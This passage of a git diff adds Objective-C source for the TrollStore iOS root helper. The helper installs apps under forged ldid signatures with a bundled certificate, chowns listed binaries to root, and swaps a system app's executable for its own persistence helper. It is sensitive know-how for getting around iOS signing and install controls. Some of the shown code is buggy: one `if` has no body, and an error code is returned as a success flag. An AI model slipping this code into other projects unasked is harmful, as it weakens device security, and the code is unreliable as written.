defaultManager] copyItemAtPath:ldidToCopyPath toPath:ldidPath error:nil]; + + chmod(ldidPath.UTF8String, 0755); + chown(ldidPath.UTF8String, 0, 0); +} + +BOOL isLdidInstalled(void) +{ + NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"]; + return [[NSFileManager defaultManager] fileExistsAtPath:ldidPath]; +} + +int runLdid(NSArray* args, NSString** output, NSString** errorOutput) +{ + NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"]; + NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new]; + [argsM insertObject:ldidPath.lastPathComponent atIndex:0]; + + NSUInteger argCount = [argsM count]; + char **argsC = (char **)malloc((argCount + 1) * sizeof(char*)); + + for (NSUInteger i = 0; i < argCount; i++) + { + argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]); + } + argsC[argCount] = NULL; + + posix_spawn_file_actions_t action; + posix_spawn_file_actions_init(&action); + + int outErr[2]; + pipe(outErr); + posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO); + posix_spawn_file_actions_addclose(&action, outErr[0]); + + int out[2]; + pipe(out); + posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO); + posix_spawn_file_actions_addclose(&action, out[0]); + + pid_t task_pid; + int status = -200; + int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, (char* const*)argsC, NULL); + for (NSUInteger i = 0; i < argCount; i++) + { + free(argsC[i]); + } + free(argsC); + + if(spawnError != 0) + { + NSLog(@"posix_spawn error %d\n", spawnError); + return spawnError; + } + + do + { + if (waitpid(task_pid, &status, 0) != -1) { + //printf("Child status %dn", WEXITSTATUS(status)); + } else + { + perror("waitpid"); + return -222; + } + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + + close(outErr[1]); + close(out[1]); + + NSString* ldidOutput = getNSStringFromFile(out[0]); + if(output) + { + *output = ldidOutput; + } + + NSString* ldidErrorOutput = getNSStringFromFile(outErr[0]); + if(errorOutput) + { + *errorOutput = ldidErrorOutput; + } + + return WEXITSTATUS(status); +} + +NSString* dumpEntitlements(NSString* binaryPath) +{ + NSString* output; + NSString* errorOutput; + + int ldidRet = runLdid(@[@"-e", binaryPath], &output, &errorOutput); + + NSLog(@"entitlements dump exited with status %d", ldidRet); + + NSLog(@"- dump error output start -"); + + printMultilineNSString(errorOutput); + + NSLog(@"- dump error output end -"); + + NSLog(@"- dumped entitlements output start -"); + + printMultilineNSString(output); + + NSLog(@"- dumped entitlements output end -"); + + return output; +} + +BOOL signApp(NSString* appPath, NSError** error) +{ + if(!isLdidInstalled()) return NO; + + NSDictionary* appInfoDict = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]]; + if(!appInfoDict) return NO; + + NSString* executable = appInfoDict[@"CFBundleExecutable"]; + NSString* executablePath = [appPath stringByAppendingPathComponent:executable]; + + if(![[NSFileManager defaultManager] fileExistsAtPath:executablePath]) return NO; + + NSString* certPath = [trollStoreAppPath() stringByAppendingPathComponent:@"cert.p12"]; + NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath]; + NSString* errorOutput; + int ldidRet; + + NSString* entitlements = dumpEntitlements(executablePath); + if(entitlements.length == 0) + { + NSLog(@"app main binary has no entitlements, signing app with fallback entitlements..."); + // app has no entitlements, sign with fallback entitlements + NSString* entitlementPath = [trollStoreAppPath() stringByAppendingPathComponent:@"fallback.entitlements"]; + NSString* entitlementArg = [@"-S" stringByAppendingString:entitlementPath]; + ldidRet = runLdid(@[entitlementArg, certArg, appPath], nil, &errorOutput); + } + else + { + // app has entitlements, keep them + ldidRet = runLdid(@[@"-S", @"-M", certArg, appPath], nil, &errorOutput); + } + + NSLog(@"ldid exited with status %d", ldidRet); + + NSLog(@"- ldid error output start -"); + + printMultilineNSString(errorOutput); + + NSLog(@"- ldid error output end -"); + + return ldidRet == 0; +} + +BOOL installApp(NSString* appPath, BOOL sign, NSError** error) +{ + NSString* appId = appIdForAppPath(appPath); + if(!appId) return NO; + + if(sign) + { + // if it fails to sign, we don't care + signApp(appPath, error); + } + + BOOL existed; + NSError* mcmError; + MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError]; + NSLog(@"[installApp] appContainer: %@, mcmError: %@", appContainer, mcmError); + if(!appContainer || mcmError) + { + if(error) *error = mcmError; + return NO; + } + + // Make sure there isn't already an app store app installed with the same identifier + NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"]; + if(existed && ![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil]) + { + NSLog(@"[installApp] already installed and not a TrollStore app... bailing out"); + return NO; + } + + // Apply correct permissions + NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:[NSURL fileURLWithPath:appPath] includingPropertiesForKeys:nil options:0 errorHandler:nil]; + NSURL* fileURL; + while(fileURL = [enumerator nextObject]) + { + NSString* filePath = fileURL.path; + chown(filePath.UTF8String, 33, 33); + if([filePath.lastPathComponent isEqualToString:@"Info.plist"]) + { + NSDictionary* infoDictionary = [NSDictionary dictionaryWithContentsOfFile:filePath]; + NSString* executable = infoDictionary[@"CFBundleExecutable"]; + if(executable) + { + NSString* executablePath = [[filePath stringByDeletingLastPathComponent] stringByAppendingPathComponent:executable]; + chmod(executablePath.UTF8String, 0755); + } + } + else if([filePath.pathExtension isEqualToString:@"dylib"]) + { + chmod(filePath.UTF8String, 0755); + } + } + + // chown 0 all root binaries + NSDictionary* mainInfoDictionary = [NSDictionary dictionaryWithContentsOfFile:[appPath stringByAppendingPathComponent:@"Info.plist"]]; + if(!mainInfoDictionary) return NO; + NSObject* tsRootBinaries = mainInfoDictionary[@"TSRootBinaries"]; + if([tsRootBinaries isKindOfClass:[NSArray class]]) + { + NSArray* tsRootBinariesArr = (NSArray*)tsRootBinaries; + for(NSObject* rootBinary in tsRootBinariesArr) + { + if([rootBinary isKindOfClass:[NSString class]]) + { + NSString* rootBinaryStr = (NSString*)rootBinary; + NSString* rootBinaryPath = [appPath stringByAppendingPathComponent:rootBinaryStr]; + if([[NSFileManager defaultManager] fileExistsAtPath:rootBinaryPath]) + { + chmod(rootBinaryPath.UTF8String, 0755); + chown(rootBinaryPath.UTF8String, 0, 0); + NSLog(@"[installApp] applying permissions for root binary %@", rootBinaryPath); + } + } + } + } + + // Wipe old version if needed + if(existed) + { + NSLog(@"[installApp] found existing TrollStore app, cleaning directory"); + NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil]; + NSURL* fileURL; + while(fileURL = [enumerator nextObject]) + { + // do not under any circumstance delete this file as it makes iOS loose the app registration + if([fileURL.lastPathComponent isEqualToString:@".com.apple.mobile_container_manager.metadata.plist"]) + { + NSLog(@"[installApp] skip removal of %@", fileURL); + continue; + } + + [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil]; + } + } + + // Install app + NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent]; + NSLog(@"[installApp] new app path: %@", newAppPath); + + BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error]; + if(suc) + { + // Mark app as TrollStore app + [[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil]; + + NSLog(@"[installApp] app installed, adding to icon cache now..."); + registerPath((char*)newAppPath.UTF8String, 0); + return YES; + } + else + { + return suc; + } +} + +BOOL uninstallApp(NSString* appId, NSError** error) +{ + NSString* appPath = appPathForAppId(appId, error); + if(!appPath) return NO; + + LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:appId]; + NSLog(@"appProxy: %@", appProxy); + + + MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer") containerWithIdentifier:appId createIfNecessary:NO existed:nil error:nil]; + NSString *containerPath = [appContainer url].path; + if(containerPath) + { + NSLog(@"deleting %@", containerPath); + // delete app container path + [[NSFileManager defaultManager] removeItemAtPath:containerPath error:error]; + } + + // delete group container paths + for(NSURL* groupURL in [appProxy groupContainerURLs]) + { + [[NSFileManager defaultManager] removeItemAtPath:groupURL.path error:error]; + NSLog(@"deleting %@", groupURL.path); + } + + // delete app plugin paths + for(LSPlugInKitProxy* pluginProxy in appProxy.plugInKitPlugins) + { + NSURL* pluginURL = pluginProxy.dataContainerURL; + if(pluginURL) + { + [[NSFileManager defaultManager] removeItemAtPath:pluginURL.path error:error]; + NSLog(@"deleting %@", pluginURL.path); + } + } + + // unregister app + registerPath((char*)appPath.UTF8String, 1); + NSLog(@"deleting %@", [appPath stringByDeletingLastPathComponent]); + + // delete app + return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error]; +} + +BOOL installIpa(NSString* ipaPath, NSError** error) +{ + BOOL suc = NO; + NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString]; + + suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error]; + if(!suc) return NO; + + extract(ipaPath, tmpPath); + + NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"]; + + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error]; + if(!items) return NO; + + NSString* tmpAppPath; + for(NSString* item in items) + { + if([item.pathExtension isEqualToString:@"app"]) + { + tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item]; + break; + } + } + if(!tmpAppPath) return NO; + + suc = installApp(tmpAppPath, YES, error); + + [[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil]; + + return suc; +} + +void uninstallAllApps(void) +{ + for(NSString* appPath in trollStoreInstalledAppBundlePaths()) + { + uninstallApp(appIdForAppPath(appPath), nil); + } +} + +BOOL uninstallTrollStore(BOOL unregister) +{ + NSString* trollStore = trollStorePath(); + if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO; + + if(unregister) + { + registerPath((char*)trollStoreAppPath().UTF8String, 1); + } + + return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil]; +} + +BOOL installTrollStore(NSString* pathToTar) +{ + //_CFPreferencesCopyValueWithContainerType _CFPreferencesCopyValueWithContainer = (_CFPreferencesCopyValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesCopyValueWithContainer"); + _CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer"); + _CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer"); + + /*CFPropertyListRef SBShowNonDefaultSystemAppsValue = _CFPreferencesCopyValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + if(SBShowNonDefaultSystemAppsValue != kCFBooleanTrue) + {*/ + _CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + _CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + //NSLog(@"unrestricted springboard apps"); + /*}*/ + + + if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO; + if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO; + + NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString]; + BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil]; + if(!suc) return NO; + + extract(pathToTar, tmpPath); + + NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO; + + // Save existing ldid installation if it exists + NSString* existingLdidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"]; + if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidPath]) + { + NSString* tmpLdidPath = [tmpTrollStore stringByAppendingPathComponent:@"ldid"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidPath]) + { + [[NSFileManager defaultManager] copyItemAtPath:existingLdidPath toPath:tmpLdidPath error:nil]; + } + } + + // Update persistence helper if installed + LSApplicationProxy* persistenceHelperApp = findPersistenceHelperApp(); + if(persistenceHelperApp) + { + NSString* trollStorePersistenceHelper = [tmpTrollStore stringByAppendingPathComponent:@"PersistenceHelper"]; + NSString* trollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"]; + _installPersistenceHelper(persistenceHelperApp, trollStorePersistenceHelper, trollStoreRootHelper); + } + + return installApp(tmpTrollStore, NO, nil);; +} + +void refreshAppRegistrations() +{ + //registerPath((char*)trollStoreAppPath().UTF8String, 1); + registerPath((char*)trollStoreAppPath().UTF8String, 0); + + for(NSString* appPath in trollStoreInstalledAppBundlePaths()) + { + //registerPath((char*)appPath.UTF8String, 1); + registerPath((char*)appPath.UTF8String, 0); + } +} + +BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePersistenceHelper, NSString* sourceRootHelper) +{ + NSLog(@"_installPersistenceHelper(%@, %@, %@)", appProxy, sourcePersistenceHelper, sourceRootHelper); + + NSString* executablePath = appProxy.canonicalExecutablePath; + NSString* bundlePath = appProxy.bundleURL.path; + if(!executablePath) + { + NSBundle* appBundle = [NSBundle bundleWithPath:bundlePath]; + executablePath = [bundlePath stringByAppendingPathComponent:[appBundle objectForInfoDictionaryKey:@"CFBundleExecutable"]]; + } + + NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; + + // remove existing persistence helper binary if exists + if([[NSFileManager defaultManager] fileExistsAtPath:markPath] && [[NSFileManager defaultManager] fileExistsAtPath:executablePath]) + { + [[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil]; + } + + // remove existing root helper binary if exists + if([[NSFileManager defaultManager] fileExistsAtPath:helperPath]) + { + [[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil]; + } + + // install new persistence helper binary + if(![[NSFileManager defaultManager] copyItemAtPath:sourcePersistenceHelper toPath:executablePath error:nil]) + { + return NO; + } + + chmod(executablePath.UTF8String, 0755); + chown(executablePath.UTF8String, 33, 33); + + NSError* error; + if(![[NSFileManager defaultManager] copyItemAtPath:sourceRootHelper toPath:helperPath error:&error]) + { + NSLog(@"error copying root helper: %@", error); + } + + chmod(helperPath.UTF8String, 0755); + chown(helperPath.UTF8String, 0, 0); + + // mark system app as persistence helper + if(![[NSFileManager defaultManager] fileExistsAtPath:markPath]) + { + [[NSFileManager defaultManager] createFileAtPath:markPath contents:[NSData data] attributes:nil]; + } + + return YES; +} + +void installPersistenceHelper(NSString* systemAppId) +{ + if(findPersistenceHelperApp()) return; + + NSString* persistenceHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"PersistenceHelper"]; + NSString* rootHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"trollstorehelper"]; + LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:systemAppId]; + if(!appProxy || ![appProxy.bundleType isEqualToString:@"System"]) return; + + NSString* executablePath = appProxy.canonicalExecutablePath; + NSString* bundlePath = appProxy.bundleURL.path; + NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]]; + + if([[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return; + + if(![[NSFileManager defaultManager] moveItemAtPath:executablePath toPath:backupPath error:nil]) return; + + if(!_installPersistenceHelper(appProxy, persistenceHelperBinary, rootHelperBinary)) + { + [[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil]; + return; + } + + BKSTerminateApplicationForReasonAndReportWithDescription(systemAppId, 5, false, @"TrollStore - Reload persistence helper"); +} + +void uninstallPersistenceHelper(void) +{ + LSApplicationProxy* appProxy = findPersistenceHelperApp(); + if(appProxy) + { + NSString* executablePath = appProxy.canonicalExecutablePath; + NSString* bundlePath = appProxy.bundleURL.path; + NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]]; + if(![[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return; + + NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; + NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + + [[NSFileManager defaultManager] removeItemAtPath:executablePath error:nil]; + [[NSFileManager defaultManager] removeItemAtPath:markPath error:nil]; + [[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil]; + + [[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil]; + + BKSTerminateApplicationForReasonAndReportWithDescription(appProxy.bundleIdentifier, 5, false, @"TrollStore - Reload persistence helper"); + } +} + +int main(int argc, char *argv[], char *envp[]) { + @autoreleasepool { + if(argc <= 1) return -1; + + NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid()); + + NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; + [mcmBundle load]; + + BOOL suc = NO; + NSError* error; + + NSString* cmd = [NSString stringWithUTF8String:argv[1]]; + if([cmd isEqualToString:@"install"]) + { + if(argc <= 2) return -2; + NSString* ipaPath = [NSString stringWithUTF8String:argv[2]]; + suc = installIpa(ipaPath, &error); + } else if([cmd isEqualToString:@"uninstall"]) + { + if(argc <= 2) return -2; + NSString* appId = [NSString stringWithUTF8String:argv[2]]; + suc = uninstallApp(appId, &error); + } else if([cmd isEqualToString:@"install-trollstore"]) + { + if(argc <= 2) return -2; + NSString* tsTar = [NSString stringWithUTF8String:argv[2]]; + suc = installTrollStore(tsTar); + NSLog(@"installed troll store? %d", suc); + } else if([cmd isEqualToString:@"uninstall-trollstore"]) + { + uninstallAllApps(); + uninstallTrollStore(YES); + } else if([cmd isEqualToString:@"install-ldid"]) + { + if(argc <= 2) return -2; + NSString* ldidPath = [NSString stringWithUTF8String:argv[2]]; + installLdid(ldidPath); + } else if([cmd isEqualToString:@"refresh"]) + { + refreshAppRegistrations(); + } else if([cmd isEqualToString:@"refresh-all"]) + { + [[LSApplicationWorkspace defaultWorkspace] _LSPrivateRebuildApplicationDatabasesForSystemApps:YES internal:YES user:YES]; + refreshAppRegistrations(); + } else if([cmd isEqualToString:@"install-persistence-helper"]) + { + if(argc <= 2) return -2; + NSString* systemAppId = [NSString stringWithUTF8String:argv[2]]; + installPersistenceHelper(systemAppId); + } else if([cmd isEqualToString:@"uninstall-persistence-helper"]) + { + uninstallPersistenceHelper(); + } + + if(error) + { + NSLog(@"error: %@", error); + } + + return !suc; + } +} diff --git a/Helper/main.m-system b/Helper/main.m-system new file mode 100644 index 0000000..d9bb9f5 --- /dev/null +++ b/Helper/main.m-system @@ -0,0 +1,351 @@ +#import +#import "unarchive.h" +@import Foundation; +#import "uicache.h" +#import +#import +#import +#import "path.h" +#import "CoreServices.h" +#import + +#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer") + +typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); +typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath); + +extern char*** _NSGetArgv(); +NSString* safe_getExecutablePath() +{ + char* executablePathC = **_NSGetArgv(); + return [NSString stringWithUTF8String:executablePathC]; +} + +NSDictionary* infoDictionaryForAppPath(NSString* appPath) +{ + NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"]; + return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath]; +} + +NSString* appIdForAppPath(NSString* appPath) +{ + return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"]; +} + +NSString* appPathForAppId(NSString* appId, NSError** error) +{ + NSString* appPath = [TROLLSTORE_APPLICATIONS_PATH stringByAppendingPathComponent:appId]; + + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:error]; + if(!items) return nil; + + for(NSString* item in items) + { + if([item.pathExtension isEqualToString:@"app"]) + { + return [appPath stringByAppendingPathComponent:item]; + } + } + + return nil; +} + +static void dump_file_content(int fd) +{ + ssize_t num_read; + char line_buf[256]; + int cur_pos = 0; + + for (;;) + { + char c; + num_read = read(fd, &c, sizeof(c)); + if(num_read <= 0) + + if(c == '\n' || cur_pos >= 255 || num_read <= 0) + { + line_buf[cur_pos] = '\n'; + NSLog(@"%s", (char*)line_buf); + if(c == '\n') cur_pos++; + + if(num_read > 0) + { + continue; + } + else + { + break; + } + } + + line_buf[cur_pos++] = c; + } +} + +BOOL signApp(NSString* appPath, NSError** error) +{ + NSString* ldidPath = [[safe_getExecutablePath() stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"ldid"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath]) + { + NSLog(@"WARNING: ldid not found, not signing application"); + return NO; + } + + NSString* certPath = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app/cert.p12"]; + NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath]; + + int out[2]; + posix_spawn_file_actions_t action; + posix_spawn_file_actions_init(&action); + pipe(out); + posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO); + posix_spawn_file_actions_addclose(&action, out[0]); + + char* args[] = { "ldid", "-S", "-M", (char*)certArg.UTF8String, (char*)appPath.UTF8String, NULL }; + + NSLog(@"%@ ldid -S -M %@ %@", ldidPath, certArg, appPath); + + pid_t task_pid; + int status = -200; + int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, args, NULL); + + if(spawnError != 0) + { + NSLog(@"posix_spawn error %d\n", spawnError); + return spawnError; + } + + waitpid(task_pid, &status, WEXITED); + + NSLog(@"ldid exited with status %d", status); + + waitpid(task_pid, &status, 0); + + NSLog(@"ldid exited with status %d", status); + + NSLog(@"ldid output:"); + + close(out[1]); + dump_file_content(out[0]); + + NSLog(@"end ldid output:"); + + return status == 0; +} + +BOOL installApp(NSString* appPath, NSString* appId, BOOL sign, NSError** error) +{ + if(sign) + { + // if it fails to sign, we don't care + signApp(appPath, error); + } + + BOOL existed; + NSError* mcmError; + MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError]; + NSLog(@"installApp appContainer: %@, mcmError: %@", appContainer, mcmError); + if(!appContainer || mcmError) + { + if(error) *error = mcmError; + return NO; + } + + //TODO: if TrollStore, preserve by moving it into appPath if needed ldid if needed + + NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"]; + if(existed) + { + // trying to update an app not installed by TrollStore... bailing out + if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil]) + { + NSLog(@"installApp already installed and not a TrollStore app... bailing out"); + return NO; + } + else + { + // update existing app... clean old app directory + NSLog(@"installApp found existing TrollStore app, cleaning directory"); + NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil]; + NSURL* fileURL; + while(fileURL = [enumerator nextObject]) + { + [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil]; + } + } + } + + [[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil]; + + NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent]; + + NSLog(@"installApp new app path: %@", newAppPath); + + BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error]; + + NSLog(@"installApp copied app? %d, adding to uicache now...", suc); + + registerPath((char*)newAppPath.UTF8String, 0); + + return YES; +} + +BOOL uninstallApp(NSString* appId, NSError** error) +{ + NSString* appPath = appPathForAppId(appId, error); + if(!appPath) return NO; + + registerPath((char*)appPath.UTF8String, 1); + + return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error]; +} + +BOOL installIpa(NSString* ipaPath, NSError** error) +{ + BOOL suc = NO; + NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString]; + + suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error]; + if(!suc) return NO; + + extract(ipaPath, tmpPath); + + NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"]; + + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error]; + if(!items) return NO; + + NSString* tmpAppPath; + for(NSString* item in items) + { + if([item.pathExtension isEqualToString:@"app"]) + { + tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item]; + break; + } + } + if(!tmpAppPath) return NO; + + NSString* appId = appIdForAppPath(tmpAppPath); + + suc = installApp(tmpAppPath, appId, YES, error); + + [[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil]; + + return suc; +} + +void uninstallAllApps(void) +{ + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:TROLLSTORE_APPLICATIONS_PATH error:nil]; + for(NSString* appId in items) + { + NSString* appPath = appPathForAppId(appId, nil); + registerPath((char*)appPath.UTF8String, 1); + } + + [[NSFileManager defaultManager] removeItemAtPath:TROLLSTORE_ROOT_PATH error:nil]; +} + +BOOL uninstallTrollStore(void) +{ + NSString* trollStore = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO; + + registerPath((char*)trollStore.UTF8String, 1); + return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil]; +} + +BOOL installTrollStore(NSString* pathToTar) +{ + _CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer"); + _CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer"); + _CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + _CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer); + + if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO; + if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO; + + NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString]; + BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil]; + if(!suc) return NO; + + extract(pathToTar, tmpPath); + + NSLog(@"installTrollStore extracted %@ to %@", pathToTar, tmpPath); + + NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO; + + NSLog(@"installTrollStore temp TrollStore path: %@", tmpTrollStore); + + NSString* tmpTrollStoreMain = [tmpTrollStore stringByAppendingPathComponent:@"TrollStore"]; + NSString* tmpTrollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"]; + NSString* tmpTrollStoreLdid = [tmpTrollStore stringByAppendingPathComponent:@"ldid"]; + + // make executable + chmod(tmpTrollStoreMain.UTF8String, 0755); + chmod(tmpTrollStoreRootHelper.UTF8String, 0755); + chmod(tmpTrollStoreLdid.UTF8String, 0755); + + // set owners + chown(tmpTrollStoreMain.UTF8String, 33, 33); + chown(tmpTrollStoreRootHelper.UTF8String, 0, 0); // set root helper binary owner to root + chown(tmpTrollStoreLdid.UTF8String, 0, 0); + + NSLog(@"installTrollStore extracted and prepared TrollStore app, now installing..."); + + installApp(tmpTrollStore, @"com.apple.TrollStore", NO, nil); + + [[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil]; + + return YES; +} + +int main(int argc, char *argv[], char *envp[]) { + @autoreleasepool { + if(argc <= 1) return -1; + + NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid()); + NSLog(@"ok %d", argc); + + NSBundle* mcmBundle = [NSBundle 